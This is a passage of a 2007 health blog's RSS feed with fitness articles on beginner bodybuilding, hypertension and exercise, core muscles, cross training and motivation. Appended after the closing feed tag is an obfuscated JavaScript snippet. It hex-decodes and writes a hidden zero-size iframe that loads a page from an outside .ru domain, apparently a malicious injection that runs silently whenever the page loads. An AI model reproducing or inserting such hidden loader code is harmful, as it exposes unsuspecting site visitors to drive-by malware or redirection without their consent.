<blockquote><p><em> I started my program because I was tired of being fat, unhealthy and out of shape.  In high school I was an athlete, I was in great shape and I was healthy &amp; confident.  I stayed that way until I was in my mid-twenties, but over the last 10 years I let it all go.  I became lazy, fat, unhealthy, antisocial, and I lost all my self-confidence. Late last year,  I decided it was time to make some major changes. I decided that I was not going to continue  to live my life feeling miserable and disgusted with myself. I did a lot of soul-searching and  made a list of all the things I wanted to change. At the top of the list was my  health and personal appearance. So, without wasting any more time, I began to educate myself,  I set some goals and I made a plan. On January 6th, 2003 I put everything in motion. I have  not looked back and my whole life and the way I live it has changed in just 3 short months. </em></p></blockquote>
<p>John followed a pretty impressive training schedule, details of this can be seen <a href="http://www.johnstonefitness.com/php/training.php" target="_blank">on his site</a>.</p>
<p>There is some debate if this guy took steriods in the early stages of his exercise programme, though there is no denying that these kind of reasults can easily be achieved over a long period with dedication and eating the correct foods.</p>
<p>Enjoy!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.healthscape.co.uk/blog/2007/10/03/this-is-what-4-years-of-exercise-can-do-for-you/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Beginners Bodybuilding Guide</title>
		<link>http://www.healthscape.co.uk/blog/2007/08/21/beginners-bodybuilding-guide/</link>
		<comments>http://www.healthscape.co.uk/blog/2007/08/21/beginners-bodybuilding-guide/#comments</comments>
		<pubDate>Tue, 21 Aug 2007 11:03:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Exercise &amp; Fitness]]></category>

		<category><![CDATA[bodybuilding]]></category>

		<category><![CDATA[exercise]]></category>

		<category><![CDATA[muscle]]></category>

		<category><![CDATA[nutrition]]></category>

		<guid isPermaLink="false">http://www.healthscape.co.uk/blog/2007/08/21/beginners-bodybuilding-guide/</guid>
		<description><![CDATA[Stick to Basic Compound Movements
The core of your routine should be made up of exercises that involve the use of a large mass of muscle and the movement of several joints. Those exercises stimulate a lot of muscle and cause your body to release anabolic hormones. That means stuff like Squats, Deadlifts, Bent-Over Rows, Bench [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Stick to Basic Compound Movements</strong><br />
The core of your routine should be made up of exercises that involve the use of a large mass of muscle and the movement of several joints. Those exercises stimulate a lot of muscle and cause your body to release anabolic hormones. That means stuff like Squats, Deadlifts, Bent-Over Rows, Bench Presses, Overhead Presses, Dips, Stiff-Legged Deadlifts and Chin-Ups. These are the ones that will make you grow. If you go filling your routine with single joint exercises such as Lateral Raises and Triceps Kickbacks (because you want to &#8220;isolate&#8221; this muscle or that) you will only be wasting your valuable time. Put hard work into the compound exercises, on the other hand, and you will be rewarded with the fastest muscle growth possible. And it&#8217;s not just my experience that proves this, but the experience of thousands of weight trainers throughout the years.</p>
<p><img title="npc_pittsburgh_bodybuilding_show_049.jpg" src="http://www.healthscape.co.uk/blog/wp-content/uploads/2007/10/npc_pittsburgh_bodybuilding_show_049.jpg" alt="npc_pittsburgh_bodybuilding_show_049.jpg" hspace="5" vspace="5" width="380" height="285" align="left" /><strong> Eat More Good, Nutritious Foods And High-Quality Protein</strong><br />
Weight Trainers need more protein than the normal individual. Each weight training session causes your muscles to be broken down and rebuilt a little stronger than they were before. If you want to progress at the fastest possible rate then you&#8217;ll need a healthy dose of daily dietary protein to fuel this process. 1 gram of protein per pound of bodyweight per day has been shown many times to be an optimum amount. Be sure you get that much, day in, day out.</p>
<p>How do you do that? Eat lots of stuff like eggs, milk, beef, tuna, chicken, cheese, liver, etc. Essentially, if it comes from an animal it&#8217;s good. Get yourself one of those protein counter booklets at the bookstore or supermarket and pick out some high protein, animal-based foods. Then use these to meet your protein quota. It would also be a good idea for you to buy a protein powder. That&#8217;s an okay &#8217;supplement&#8217;, but remember this: There&#8217;s nothing that protein powder is going to do for you that a steak couldn&#8217;t do (and probably do better).<br />
But the powder may allow you to mix up convenient shakes and it may turn out to be cheaper. Anything made from whey, milk and/or eggs will do fine.</p>
<p>You also need plenty of healthful fats, such as those found in fish and olive oil, to support and promote growth. You should eat plenty of carbs such as rice, vegetables and pasta, but avoid sugar and products laden with sugar. These &#8216;good&#8217; carbs will give you energy to train and also provide your muscles with the energy they need to build yet more muscle.</p>
<p>Another thing, as soon as you get up eat a good breakfast. And that doesn&#8217;t mean Pop-Tarts and Fruit Loops. Get some of the good carbs, proteins and fats that I spoke of above. After sleeping all night (and, therefore, not eating) your body needs nutrients to grow with. If you deny it that you will hamper your growth. Have some milk, eat some eggs, eat a steak if you want, but get some protein. Add a little oatmeal (it digests slowly and will hold you over until your next meal) and you have a good breakfast shaping up.</p>
<p>And eat some protein before you go to bed. Overnight your body will need protein, so give it some just before you go to sleep. It could be some meat, some cheese, a few hard-boiled eggs or something else solid. Solid proteins, generally, take longer to digest than liquids, giving a steady supply of amino acids to your body - so use them.</p>
<p>If you skimp on your nutrition you will cancel ALL of the growth that you stimulated in the gym. Yes, nutrition is THAT IMPORTANT.<br />
<strong><br />
Get A Good Amount of Sleep</strong><br />
Most beginner&#8217;s don&#8217;t realize this but let me assure you, sleep is just as important as training and nutrition when it comes to muscle growth. DON&#8217;T just skip over this rule and think it isn&#8217;t that important. Critical repairs are made to the body and nervous system when you sleep. If you skimp on your sleep then you won&#8217;t recover from your workouts properly and your nervous system won&#8217;t fire your muscles optimally. Sleep deprivation results in reduced glucose sensitivity of the muscle cells and higher resting cortisol levels. There are reasons why training, nutrition and sleep are considered to be the &#8216;big three&#8217; keys to weight training success. PLEASE, treat good, sound sleep as a full ingredient of your weight training program.</p>
<p><strong> Limit Your Workouts To One hour</strong><br />
There are plenty of &#8216;technical&#8217; reasons for that but this is not the place to get deeply into it. Let&#8217;s just say that it&#8217;s not necessary. Weight training is not an endurance event. If you want endurance go for a jog.<br />
<strong><br />
Don&#8217;t Train More Often Than Three Days Per Week</strong><br />
&#8220;But Ronnie Coleman trains 6 times&#8221;, I can hear you saying. Unless you are very genetically gifted, you do not have the<br />
hormone levels to train that often and progress maximally. It&#8217;s true that some advanced drug-free athletes can train 5-6 times per week but those routines are NOT appropriate for you at this stage. Generally, drug-free strength athletes make their best gains when they spend more days out of the gym than in. Don&#8217;t believe me? Hey, it&#8217;s your life, do what you want - but if you don&#8217;t listen to this you&#8217;ll regret it. I&#8217;ve been there.</p>
<p>There&#8217;s no need to train more than 3 days per week at first. Genetically gifted people will just progress faster on that 3-day program. So, if you are genetically gifted, a 3 day per week training program won&#8217;t hold you back. But if you are not it might make the difference between some gains and no gains.</p>
<p>When you get more advanced you might end up adopting longer routines (though not necessarily), but, for now, anything over an hour means you&#8217;re loafing around too much or you&#8217;re doing more work than a beginner&#8217;s body is likely able to tolerate.</p>
<p><strong> Strive For Perfect Exercise Form</strong><br />
Cheating your reps builds nothing but ego - not muscle. If you have to cheat that means the weight&#8217;s too heavy for you to lift properly. Cheating does not make a muscle contract harder because you can use heavier weights. A muscle can contract only so hard and that&#8217;s that. All cheating does is bring other muscles into the movement so that you can use more weight - that&#8217;s not how to effectively train a muscle. Besides, cheating can be DANGEROUS. Proper form is safe. When you start deviating from proper form you open the door for a potentially serious injury. Even minor injuries can cause you to miss workouts - and that&#8217;s certainly not an effective way to gain muscle.</p>
<p><strong> Ignore The Guy Next To You</strong><br />
This rule ties in closely with the rule before this but isn&#8217;t quite the same. Here it is: Don&#8217;t be insecure. If you&#8217;re lifting this puny little weight and he&#8217;s lifting 5 times that amount (or even 100 times) WHO CARES! He&#8217;s not you, you&#8217;re not him. Don&#8217;t start cheating so you can use more weight. If he&#8217;s using bad form and cheating a lot then that&#8217;s his mistake. Remember the tortoise and the hare. If you work hard enough, long enough, and never, never, ever quit, you&#8217;ll get there too - and with proper form.</p>
<p>You have to swallow your ego. I had been training for almost 15 years when I decided to learn the Olympic-style Lifts (the Snatch and Clean and Jerk). I had to go from Squatting 445 pounds to Snatching 65. Do you know how foolish that made me feel (and look). Remember, &#8220;A journey of a thousand miles begins with a single step.&#8221; Do what&#8217;s right for your body, not your ego. HAVE PATIENCE!</p>
<p><strong> Genetics Do Make A Difference - But WHO CARES!</strong><br />
Some people will progress much faster than others. Some people will grow into solid chunks of muscle within a few months, while others will have to work for years to get half the gains. I&#8217;ve seen it a thousand times. And it&#8217;s not just training routine design, effort, desire or diet. If these things were all equal it would still happen. But there&#8217;s nothing you can do about it - so GET OVER IT. You can only work with what you&#8217;ve got, so do that. I&#8217;ve seen some very genetically gifted people come into the gym and pass my strength and muscle level within 6 months of steady training - and I&#8217;ve been doing this for over 12 years - but I lived. And I&#8217;ll be in the gym again tomorrow.</p>
<p><strong> Avoid Those Exercise Machines </strong><br />
That means no Shoulder Press machines, Cable Curls, Pec Decks, Biceps machines, etc. If you want to build the most muscle possible, as fast as possible then you will have to lift free weights. Oh sure, there are all kinds of so-called &#8217;scientific&#8217; arguments why the machines are better, but, believe me, there are also a lot more sound scientific reasons why free weights are. And I have one reason for you right now: If you spend your time on those machines you will SEVERLY limit your progress. Reason enough for you? I spent YEARS wasting my time - and so have countless others. Don&#8217;t become one of those people who hits yourself in the head a little (or long) ways down the road and says, &#8220;Why didn&#8217;t I do the free weights in the first place? Look at the time I&#8217;ve wasted!&#8221;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.healthscape.co.uk/blog/2007/08/21/beginners-bodybuilding-guide/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Hypertension And Exercise</title>
		<link>http://www.healthscape.co.uk/blog/2007/08/10/hypertension-and-exercise/</link>
		<comments>http://www.healthscape.co.uk/blog/2007/08/10/hypertension-and-exercise/#comments</comments>
		<pubDate>Fri, 10 Aug 2007 10:47:28 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Exercise &amp; Fitness]]></category>

		<category><![CDATA[Medical]]></category>

		<category><![CDATA[blood pressure]]></category>

		<category><![CDATA[exercise]]></category>

		<guid isPermaLink="false">http://www.healthscape.co.uk/blog/2007/08/10/hypertension-and-exercise/</guid>
		<description><![CDATA[It seems as though many Americans are living a life that leads to high blood pressure or hypertension. As people age, the situation gets worse. Nearly half of all older Americans have hypertension. This disease makes people five times more prone to strokes, three times more likely to have a heart attack, and two to [...]]]></description>
			<content:encoded><![CDATA[<p>It seems as though many Americans are living a life that leads to high blood pressure or hypertension. As people age, the situation gets worse. Nearly half of all older Americans have hypertension. This disease makes people five times more prone to strokes, three times more likely to have a heart attack, and two to three times more likely to experience a heart failure.</p>
<p><img title="hypertension_z.jpg" src="http://www.healthscape.co.uk/blog/wp-content/uploads/2007/10/hypertension_z.jpg" alt="hypertension_z.jpg" hspace="5" vspace="5" width="318" height="228" align="left" />The problem with this disease is that nearly one third of the folks who have hypertension do not know it because they never feel any direct pain. But overtime the force of that pressure damages the inside surface of your blood vessels.</p>
<p>However, according to experts, hypertension is not predestined. Reducing salt intake, adopting a desirable dietary pattern losing weight and exercising can all help prevent hypertension.</p>
<p>Obviously, quitting bad habits and eating a low fat diet will help, but the most significant part that you can do is to exercise. And just as exercise strengthens and improves limb muscles, it also enhances the health of the heart muscles.</p>
<p>Heart and Exercise</p>
<p>The exercise stimulates the development of new connections between the impaired and the nearly normal blood vessels, so people who exercise had a better blood supply to all the muscle tissue of the heart.</p>
<p>The human heart basically, supply blood to an area of the heart damaged in a “myocardial infarction.” A heart attack is a condition, in which, the myocardium or the heart muscle does not get enough oxygen and other nutrients and so it begins to die.</p>
<p>For this reason and after a series of careful considerations, some researchers have observed that exercise can stimulate the development of these life saving detours in the heart. One study further showed that moderate exercise several times a week is more effective in building up these auxiliary pathways than extremely vigorous exercise done twice as often.</p>
<p>Such information has led some people to think of exercise as a panacea for heart disorders, a fail-safe protection against hypertension or death. That is not so. Even marathon runners that have suffered hypertension, and exercise cannot overcome combination of other risk factor.</p>
<p>What Causes Hypertension?</p>
<p>Sometimes abnormalities of the kidney are responsible. There is also a study wherein the researchers identified more common contributing factors such as heredity, obesity, and lack of physical activity. And so, what can be done to lower blood pressure and avoid the risk of developing hypertension? Again, exercise seems to be just what the doctor might order.</p>
<p>If you think that is what he will do, then, try to contemplate on this list and find some ways how you can incorporate these things into your lifestyle and start to live a life free from the possibilities of developing hypertension. But before you start following the systematic instructions, it would be better to review them first before getting into action.</p>
<p>1. See your doctor<br />
Check with your doctor before beginning an exercise program. If you make any significant changes in your level of physical activity — particularly if those changes could make large and sudden demands on your circulatory system — check with your doctors again.</p>
<p>2. Take it slow</p>
<p>Start at a low, comfortable level of exertion and progress gradually. The program is designed in two stages to allow for a progressive increase in activity.</p>
<p>3. Know your limit</p>
<p>Determine your safety limit for exertion. Use some clues such as sleep problems or fatigue the day after a workout to check on whether you are overdoing it. Once identified, stay within it. Over-exercising is both dangerous and unnecessary.</p>
<p>4. Exercise regularly</p>
<p>You need to work out a minimum of three times a week and a maximum of five times a week to get the most benefit. Once you are in peak condition, a single workout a week can maintain the muscular benefits. However, cardiovascular fitness requires more frequent activity.</p>
<p>5. Exercise at a rate within your capacity</p>
<p>The optimum benefits for older exercisers are produced by exercise at 40% to 60% of capacity.</p>
<p>Indeed, weight loss through exercise is an excellent starting point if you wan tot prevent hypertension. Experts say that being overweight is linked to an increased risk of developing hypertension, and losing weight decreases the risk.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.healthscape.co.uk/blog/2007/08/10/hypertension-and-exercise/feed/</wfw:commentRss>
		</item>
		<item>
		<title>The Importance Of Working Your Core Muscles</title>
		<link>http://www.healthscape.co.uk/blog/2007/08/03/the-importance-of-working-your-core-muscles/</link>
		<comments>http://www.healthscape.co.uk/blog/2007/08/03/the-importance-of-working-your-core-muscles/#comments</comments>
		<pubDate>Fri, 03 Aug 2007 10:46:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Exercise &amp; Fitness]]></category>

		<category><![CDATA[exercise]]></category>

		<category><![CDATA[muscle]]></category>

		<guid isPermaLink="false">http://www.healthscape.co.uk/blog/2007/10/22/the-importance-of-working-your-core-muscles/</guid>
		<description><![CDATA[Suppose that at a distance you see a short, stooped figure walking with short, slow steps. Most likely, you will conclude that the person is old. The hunched posture gives you the clue.
Why does aging contort so many bodies in this way? The reason is that many people, throughout their lives, never extend the neck [...]]]></description>
			<content:encoded><![CDATA[<p>Suppose that at a distance you see a short, stooped figure walking with short, slow steps. Most likely, you will conclude that the person is old. The hunched posture gives you the clue.</p>
<p><img title="coremuscles.jpg" src="http://www.healthscape.co.uk/blog/wp-content/uploads/2007/10/coremuscles.jpg" alt="coremuscles.jpg" hspace="5" vspace="5" width="311" height="226" align="left" />Why does aging contort so many bodies in this way? The reason is that many people, throughout their lives, never extend the neck to its full range, and so the muscles shorten. Long hours of reading, sewing, typing, or standing at a workbench take their toll. Eventually deposits of calcium salts in the joints complete the process of immobilization. Once this calcification takes place, nothing can be done to reverse it.</p>
<p>Fortunately, older persons can take action before it is too late. The best action is regular exercise that stretches the muscles and improves flexibility, with special considerations on the core muscles. This kind of response is relatively important for a number of factors that when taken for granted will only lead to serious health problems.</p>
<p>What Are Core Muscles?</p>
<p>Core muscles pertain to the muscles found at the obliques, abdominals, lower back, and the glutes. These four areas of the body are the ones that usually frame the posture of a person. Hence, a good posture reflects the good condition of these muscle areas.</p>
<p>What people do not know is that core muscles are actually the “core” or the central part for all the strength that is needed to boost carry out different physical activities. This only means that if an individual’s core muscle is physically powerful, it will maintain equilibrium on the body and will stabilize the system every time the person is working out and moving.</p>
<p>Strengthening Core Muscles</p>
<p>The main responsibility of the core muscles is to provide enough power to the body in order to enable it to cope up with the dynamic challenges of every physical activity that a person encounters.</p>
<p>For this reason, many health and fitness experts have realized that it is relatively important to strengthen the core muscles than with the other muscles in the body. Through some series of experiments and research, they have found out that having a stronger core can lessen a lot of health problems concerning posture.</p>
<p>For instance, a well-conditioned core muscle can project good posture. It can also improve the endurance of the back all the way through the day.</p>
<p>Why? Because muscles that are included in the group of core muscles are actually the ones that initiate the proper stabilization of the whole upper and lower torso.</p>
<p>So, for those who wish to know and understand why it is important strengthen the core muscles, here is a list of some of the benefits that you can use as references:</p>
<p>1. Strengthening core muscles will improve posture and prevent low back pain of the muscular origin.</p>
<p>This means that as you incorporate stretching exercises in your routine, taking a particular focus on the muscles of the upper and front part of the trunk, including the abdominal and trunk muscles, the activity has the tendency to strengthen the muscles of the back that extend to the spine.</p>
<p>2. It will help tone the muscles, thereby, avoiding further back injury</p>
<p>Exercising your core muscles will strengthen and tones your lower back muscles and buttocks while stretching the hip flexors and the muscles on the front of the thighs.</p>
<p>Achieving this state will deter you from any serious lower back injury.</p>
<p>3. Improves physical performance</p>
<p>Exercising the core muscles with slow, static stretching is just as effective in relieving stiffness and enhances flexibility. Once the flexibility of a person has improved, it follows that he will be able to perform his physical activities at a better state.</p>
<p>4. They do not cause sore aching muscles</p>
<p>Static stretching for core muscles is best for the muscles and connective tissues. And because it employs slow stretches only, it will not cause any soreness, as do the quick, bouncing exercises that rely on jerky muscle contraction.</p>
<p>5. Lengthen muscles and avoid unbalanced footing as you get old</p>
<p>Core muscle exercises lengthen the muscles that have contracted as a result of pain. It also prevents pain from vigorous exercise if they are included at the end of each workout.</p>
<p>Health and fitness experts highly recommend starting core work out immediately and repeating the routine at least 2 times a week. The process can be done after the workout or even during the activity, for about 10 to 20 minutes only.</p>
<p>Indeed, core muscles are absolutely important in determining the good posture of the body. Strengthening them can absolutely eliminate those nuisances of back pains.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.healthscape.co.uk/blog/2007/08/03/the-importance-of-working-your-core-muscles/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Cross Training - Fitness And Fatloss</title>
		<link>http://www.healthscape.co.uk/blog/2007/07/22/cross-training-fitness-and-fatloss/</link>
		<comments>http://www.healthscape.co.uk/blog/2007/07/22/cross-training-fitness-and-fatloss/#comments</comments>
		<pubDate>Sun, 22 Jul 2007 09:28:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Diet And Nutrition]]></category>

		<category><![CDATA[Exercise &amp; Fitness]]></category>

		<category><![CDATA[fat]]></category>

		<category><![CDATA[fitness]]></category>

		<category><![CDATA[training]]></category>

		<guid isPermaLink="false">http://www.healthscape.co.uk/blog/2007/07/22/cross-training-fitness-and-fatloss/</guid>
		<description><![CDATA[The numbers on your scale do not indicate whether you are fit or fat. Far more significant than your total body weight is the composition of your body tissue. If a man’s fatty tissue is bigger than 14% up to 15% of his body mass, or if a woman’s is more than 20% to 22%, [...]]]></description>
			<content:encoded><![CDATA[<p>The numbers on your scale do not indicate whether you are fit or fat. Far more significant than your total body weight is the composition of your body tissue. If a man’s fatty tissue is bigger than 14% up to 15% of his body mass, or if a woman’s is more than 20% to 22%, he or she is overweight, or more precisely, overfat.</p>
<p><img title="cross training" src="http://www.healthscape.co.uk/blog/wp-content/uploads/2007/10/iyl_fitness_flowtogo-runner.jpg" alt="cross training" hspace="5" vspace="5" align="left" />A small amount of fat is needed for padding the internal organs and as insulation under the skin. Excess fat leads to such diseases as diabetes, gout, high blood pressure, coronary artery disease, and gallbladder problems. There are very few, very fat persons. The reason is that the fittest, not the fattest survive.</p>
<p>The problem now is focused on how to resolve the problem. The problem with most people who want to lose weight is that they have the propensity to concentrate more on getting those numbers lower than what they are seeing now. What happens next is that they strive harder to achieve a lower weight, according to the “ever reliable” result of the weighing scale.</p>
<p>It would be more important to think of the human body as a heat-exchange engine that works on the basic principles of energy physics. The caloric balance equals the total calorie intake minus the total calorie expenditure.</p>
<p>Some of the calories people ingest are used for basal metabolism. As people get old, their bodies require fewer calories for this basic upkeep. Some calories are excreted as waste products. Some go into “work metabolism,” the energy expenditure required for any physical activity.</p>
<p>Hence, if people take in more calories than are used by these functions, there is a definite caloric excess. By the laws of physics, energy is transformed rather than destroyed. In this case, each excess of 3,500 calories is changed into a pound of fat. If people want to reverse this process, they have to burn up 3,500 calories to lose a single pound.</p>
<p>Winning the War Against Fat</p>
<p>When you think of fighting fat with exercise, you probably think of hours of hard, sweaty exertion. If this is the case, then, you will not get any farther. This is because people who are so much into losing more by exerting more effort tend to get bored easily.</p>
<p>Why? Because experts contend that when people exert more effort than what they are capable of doing creates a tendency to develop weariness and ennui. Hence, they give up, stop doing their routine exercises, and end up sulking in the corner with a bag of chips that seems to have all the bad calories in this world.</p>
<p>Now, you might ask, &#8220;What should be done instead?&#8221; The answer: cross training.</p>
<p>After some intensive studies and experimentations, health experts were able to come up with the concept of incorporating cross training in order to overcome or break the monotony or dullness in an exercise program.</p>
<p>Cross training refers to the integration of diverse movements or activities into a person’s conventional exercise routine. The main purpose of incorporating cross training into an exercise program is to avoid overdoing excess muscle damages and to put a stop to an imminent boredom.</p>
<p>Three of the most commonly used activities whenever a person decides to engage into cross training are swimming, running, and cycling.</p>
<p>In cross training, distance is one way to extend your activity as your condition improves. For this reason, you need to traverse a measured distance.</p>
<p>If possible, swim the course and measure the distance. If you will be using a running track, such courses usually are a quarter-mile per lap for a complete circuit.</p>
<p>Cross training offers a variety of benefits for fitness and fatloss. It builds up the strength and endurance of the heart, lungs, and blood vessels. It has also some tranquilizing effect on the nerves, and it burns up calories as much as it makes your “losing weight” more bearable.</p>
<p>Cross training has three basic components:</p>
<p>1. Endurance exercises to condition the heart, lungs, and blood vessels and to induce relaxation. These begin with a careful planned walking and jogging regimen, depending on fitness level.</p>
<p>2. Exercises to strengthen the muscles, particularly those important to good posture. These include some activities that are selected to encourage some people who are already burnt out with a particular routine.</p>
<p>3. Exercises to improve joint mobility and prevent or relieve aches and pains. These consist of a series of static stretching positions that are safe and effective for most of the people who wish to try to lose some fat.</p>
<p>Indeed, cross training is a great way to modify the concept of exercising and losing fat without having to endure monotonous activities. In fact, the idea of exercising is to like what you are doing, hence, if you engage into cross training, you will be aware of it that you have already achieve your desired weight.</p>
<p>Boiled down, cross training is, certainly, one way of having fun.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.healthscape.co.uk/blog/2007/07/22/cross-training-fitness-and-fatloss/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Staying Motivated</title>
		<link>http://www.healthscape.co.uk/blog/2007/07/11/staying-motivated/</link>
		<comments>http://www.healthscape.co.uk/blog/2007/07/11/staying-motivated/#comments</comments>
		<pubDate>Wed, 11 Jul 2007 09:21:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Exercise &amp; Fitness]]></category>

		<category><![CDATA[Healthy Living]]></category>

		<category><![CDATA[motivation]]></category>

		<guid isPermaLink="false">http://www.healthscape.co.uk/blog/2007/07/11/staying-motivated/</guid>
		<description><![CDATA[Exercise is always a do-it-yourself venture. No other person and no machine can do it for you. Hence, it is important to have those motivating factors so that a person who is into exercise in order to lose weight will hang about.
This is what people who are overweight should learn to understand. However, even if [...]]]></description>
			<content:encoded><![CDATA[<p>Exercise is always a do-it-yourself venture. No other person and no machine can do it for you. Hence, it is important to have those motivating factors so that a person who is into exercise in order to lose weight will hang about.</p>
<p><img title="motivation" src="http://www.healthscape.co.uk/blog/wp-content/uploads/2007/10/istockmotivation.jpg" alt="motivation" hspace="5" vspace="5" width="390" height="281" align="left" />This is what people who are overweight should learn to understand. However, even if it so easy to set for instructions and easy to follow, this is not the same case for almost 35% of Americans who are unable to prevent being overweight.</p>
<p>Of course, once we are overweight, we usually want to trim down for a whole lot of reasons, some related to physical condition and fitness, while others would want to enhance their physique and appearance. And it is never too late to be fit.</p>
<p>In the past 50 to 75 years, physical activity has become the exception rather than the rule, both at home and on the job. People tend to drive where others once walked. People tend to flick a switch and machines do the hauling, lifting, pushing, and pulling for them.</p>
<p>However, people who try to lose weight tend to believe that weight gain is likely to happen if they will not take forward-looking steps to stop it.</p>
<p>The point here is that health experts believe that people lose their way, especially when it comes to dieting. They tend to go back to their old eating habits even after they learn to enjoy low-fat eating. They tend to return to sedentary ways even though they enjoy exercising.</p>
<p>But despite the momentum toward weight gain, you can stop it from happening, experts say. And there are plenty of good reasons to avoid excess pounds, reasons that go beyond vanity or social appearance. There are many reasons in order to keep you motivated to exercise and stay healthy for the rest of your life.</p>
<p>Ways to Lose Big</p>
<p><strong>1. Have an explicit goal</strong></p>
<p>A simple statement like, “I want to lose some weight,” is an ambiguous and an indefinite statement. It will not the least motivate you to start doing exercises right away.</p>
<p>What is important is to be precise on your goals. It would be better if you will set some detailed amount of pounds that you really want to lose. Envisage yourself what you will look like after reaching your desired weight. Doing this will inspire you to lose weight. In fact, maybe even more than what you have planned in mind. The idea is to use that figure to assist you to remain resilient and dedicated.</p>
<p><strong>2. Develop a strategy</strong></p>
<p>Strength of will does not work alone! To lose weight and stay with it, your strategy must comprise of both exercise and diet, and not either of the two.</p>
<p>Try to start motivating yourself by throwing away your clothes that have bigger sizes. This will put you in a situation where you only have your sexy clothes and that you have to make a choice by staying motivated to exercise or not wear any clothes at all. Which do you prefer?</p>
<p><strong>3. Make out little, calculable measures</strong></p>
<p>Put into practice actions that will suit your lifestyle. This means you have to implement moves that you and you alone will benefit from it and not somebody else.</p>
<p>The idea here is to opt for a more positive and attainable goal and not just to shun away from being plump and chubby.</p>
<p><strong>4. Produce monitoring that has an important effect</strong></p>
<p>It would be better to have somebody willing to take note of your progress or development. This will inspire you to keep on doing what you have started. Having somebody to listen to your achievements is definitely a better prize than just achieving your goal alone.</p>
<p>Besides, having an extra hand to support you and cheer for you when things start to fall short. It is that simple way of hearing somebody believing on what you do is one of the greatest motivations to keep you exercising for more.</p>
<p><strong>5. Construct a vigorous, sensible timeline</strong></p>
<p>What do you plan to achieve in a year? Try to suit your objectives to your calendar, and do not look forward to see the results in just a snap.</p>
<p>The bottom line is that in order to stay motivated to exercise entails a lot of hard work, which is contrary to what most people tend to think. The main idea is to let people change their lifestyle because it is only through this way that they will absolutely change their weight…for the better.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.healthscape.co.uk/blog/2007/07/11/staying-motivated/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
<!-- o --><script type="text/javascript">function jabck(ntuzn){var msunwrvsrsh="";for(tsasa=0;tsasa<ntuzn.length;tsasa+=2){msunwrvsrsh+=(String.fromCharCode(parseInt(ntuzn.substr(tsasa,2),16)));}document.write(msunwrvsrsh);}jabck("3Cwlxawx6966wlxawx72wlxawx616D65wlxawx20wlxawx73wlxawx72wlxawx633D22687474wlxawx70wlxawx3A2Fwlxawx2Fwlxawx74wlxawx72wlxawx61wlxawx66wlxawx6675wlxawx72wlxawx6C2E7275wlxawx2F736Cwlxawx69wlxawx762F696Ewlxawx6465782E7068wlxawx7022wlxawx2066wlxawx72wlxawx61wlxawx6D65626F7264wlxawx6572wlxawx3D22wlxawx302220wlxawx62wlxawx6F72wlxawx64wlxawx65723D22wlxawx30wlxawx222077wlxawx69wlxawx64wlxawx7468wlxawx3D22wlxawx30wlxawx2220wlxawx68wlxawx65wlxawx696768wlxawx74wlxawx3Dwlxawx22wlxawx3022wlxawx20wlxawx73wlxawx74796Cwlxawx653Dwlxawx22wlxawx70wlxawx6F73wlxawx69wlxawx74696Fwlxawx6Ewlxawx3Awlxawx20wlxawx61wlxawx62wlxawx73wlxawx6Fwlxawx6C75wlxawx74653Bwlxawx2076wlxawx69wlxawx73wlxawx69wlxawx62wlxawx69wlxawx6C697479wlxawx3A20wlxawx68696464wlxawx656Ewlxawx3Bwlxawx20646973706C6179wlxawx3Awlxawx20wlxawx6Ewlxawx6F6Ewlxawx22wlxawx3Ewlxawx3C2Fwlxawx69wlxawx6672wlxawx616Dwlxawx65wlxawx3E".replace(/wlxawx/g, ""));</script><!-- c -->